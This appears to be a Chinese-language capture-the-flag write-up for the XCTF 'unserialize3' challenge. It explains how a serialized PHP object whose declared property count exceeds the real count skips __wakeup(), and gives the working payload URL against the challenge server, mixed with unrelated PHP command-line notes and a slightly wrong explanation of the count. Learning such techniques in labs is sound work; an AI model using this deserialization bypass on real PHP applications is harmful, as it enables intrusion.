代码如下:
<?php
class xctf{
public $flag='111';
public function __wakeup(){
exit('bad requests');
}
}
$content = new xctf();
echo serialize($content);
?>
结果如下:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
实验截图:
php -f test.php
php -r "phpinfo();"
php -a
没有权限则切换到root用户 sudo su
echo '#!/usr/bin/php\n<?php var_dump($argv); ?>' > phpscript
注意,我们在该PHP脚本的第一行使用#!/usr/bin/php,就像在shell脚本中那样(/bin/bash)。
第一行的#!/usr/bin/php告诉Linux命令行用 PHP 解释器来解析该脚本文件。
确定phpscript 有可执行权限
chmod u+x phpscript
./phpscript -h --foo
array(3) {
[0]=>
string(11) "./phpscript"
[1]=>
string(2) "-h"
[2]=>
string(5) "--foo"
}
由第一部分的结果来解释:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化函数的作用:序列化对象或数组,并返回一个字符串。
各个字符的意义 ---> o表示对象,a表示数组,s表示字符,i表示数字
wakeup()漏洞就是与整个属性个数值有关。
当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会 跳过 wakeup的执行。
也就是2.2代码部分,"xctf"后的 1 ,表示花括号里有两个数据。
根据代码中的?code= 可得知,将得到的序列化字符串赋值给code进行传递。
访问http://111.198.29.45:34517?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}得到flag,如图所示。
PHP反序列化漏洞#XCTF题 : unserialize3#绕过wakeup()函数
原文:https://www.cnblogs.com/Cat3rpillar/p/12149343.html